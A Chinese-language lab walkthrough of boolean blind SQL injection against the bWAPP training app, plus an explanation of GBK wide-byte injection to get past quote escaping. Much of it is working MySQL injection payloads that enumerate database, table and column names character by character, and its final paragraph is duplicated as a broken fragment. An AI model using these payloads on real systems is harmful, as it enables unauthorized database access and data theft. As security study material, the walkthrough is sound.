bWAPP-SQLiBlind
布林盲注
基本流程
1.判斷注入點
'
' or 1=1#
' or 1=2#
2.判斷資料庫長度並逐個爆破(count/length/mid)
- 使用length()函式判斷資料庫長度(二分法)
-- 前面放回false 執行or 後面的語句如果返回true則資料庫長度大於該值,反之小於
' or length(database()) > 8#
' or length(database()) > 4#
' or length(database()) > 6#
故資料庫長度為5
' or length(database()) = 5#
-
逐個字元爆破資料庫名
使用
mid
或substring
擷取字元並逐個判斷--' or ascii(mid(database(),1,1))>110 # ' or ascii(substring(database(),1,1))>100 # (false) ' or ascii(substring(database(),1,1))>95 # (true) ' or ascii(substring(database(),1,1))>97 # (true) ' or ascii(substring(database(),1,1))>99 # (flase) ' or ascii(substring(database(),1,1))= 98 # (true)
98對應為字元 b
以此類推得到表名
爆破錶的個數/長度/表名(count/length/mid)
- 爆破錶的個數
’ or (select count(table_name) from information_schema.tables where table_schema=database())>5 #
- 爆破錶的長度
' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1)) > 5 #
- 爆破字元
' or ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100 #
爆破列個數/長度/列名(count/length/mid)
- 爆破列的個數
' or (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users') > 5 #
- 爆破列的長度
' or length((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1)) > 5 #
- 爆破列名
' or ascii(mid((select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),1,1)) > 105 #
base
low
直接注入,可使用sqlmap進行注入
mid/high
採用了addslashed()和mysqli_real_escape_string()函式,
且mysql編碼和os編碼一致, 無法用寬位元組繞過,
寬位元組注入
注入原理
注入原理很簡單, 就是編碼, 一點一點分析:
假設一個url有注入, 但是有安全函式, 我們敲單引號會被過濾,那麼怎麼辦呢?這時候就利用GBK雙位元組注入
我們在後邊這麼構造url一個嘗試:
http://www.****.com/index.php?id=1%df' and 1=1
其中,
%df ’ 經過安全函式之後在 ’ 之前會被加上一個轉義符號’’, 即: %df '
由於採用的是url編碼, 最後轉化為:
%df%5c%27
關鍵就在這,%df會吃掉%5c,形成一個新的位元組, 形象一點就是%df遇到%5c會把%5c吃掉,形成%df%5c,這個編碼經過程式碼
解碼後會形成一個漢字“誠”
還不明白? 沒關係, 舉一個簡單的栗子:
xi’an (西安) ==> xian(先)
值得一提的是, 並不是唯一的使用%df, 只要編碼超過ascii碼(128)之後, 可以自己組合。只要是漢字就都可以使用
總的來解釋一下,
因為%df的關係,\的編碼%5c被吃掉了,也就失去了轉義的效果,即安全函式喪失了作用, 被直接帶入到mysql中,然後mysql在解讀時無視了%df%5c形成的新位元組,那麼單引號便重新發揮了效果, 就可以構造注入了。
以自己組合。只要是漢字就都可以使用**
總的來解釋一下,
因為%df的關係,\的編碼%5c被吃掉了,也就失去了轉義的效果,即安全函式喪失了作用, 被直接帶入到mysql中,然後mysql在解讀時無視了%df%5c形成的新位元組,那麼單引號便重新發揮了效果, 就可以構造注入了。